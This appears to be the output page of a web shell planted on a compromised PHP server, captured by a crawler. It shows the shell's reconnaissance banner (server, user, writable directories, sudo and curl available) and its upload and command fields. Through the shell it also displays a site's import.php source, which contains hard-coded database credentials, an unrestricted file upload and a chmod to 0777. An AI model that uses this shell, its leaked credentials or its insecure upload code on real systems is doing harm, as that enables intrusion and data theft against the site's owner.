403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/nympadmin/newsystem/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/nympadmin/newsystem/import.php
<?php
	 error_reporting(E_ALL);
if($handle = @($GLOBALS["___mysqli_ston"]=mysqli_connect("localhost", "phpuser", "mcifa2009"))) {
  $db = ((bool)mysqli_query( $handle, "USE cgny_cgnew"));
} else {
  die("Database Error: Service Unreachable");
}


if (is_null($_FILES['excelfile']['tmp_name'])) {
  echo "Insert a .csv file please<br />";
}
else {
  echo "got the file";
  $remoteFile = "new.csv";
  $remoteDir = "./";
  // attempt to move file from temp location to $remoteDir
  if(!move_uploaded_file($_FILES['excelfile']["tmp_name"], $remoteDir . $remoteFile)) {
    echo 'error uploading file';
  }
  else {
    chmod ("/home/home2/cgny/public_html/nympadmin/newsystem/new.csv",0777);
    $sql = "LOAD DATA LOCAL INFILE 'new.csv' INTO TABLE cgny_cgnew.`newsystem-tempimport` FIELDS TERMINATED BY ',' ENCLOSED BY '\"' ESCAPED BY '\\\' LINES TERMINATED BY '\\r\\n'";
    mysqli_query($handle,$sql);
    echo "<br>file uploaded and inserted.<br><a href='https://admin.bwwstatic.com/newsystem.cfm'>PROCESS</a><br>";
  }
} // end inserting the file and importing it


header("Location: https://admin.nymetroparents.com/newsystem/start.cfm?imported=on");
?>



<a href="delweek.cfm" onclick="return confirm('Are you sure?');">
	delete most recent import</a>
	
	<Br><Br><br>

<form method="post" action="import.php" enctype="multipart/form-data">
<input type="file" name="excelfile">
<br>
<input type="submit" value="upload" name="submit">

Youez - 2016 - github.com/yon3zu
LinuXploit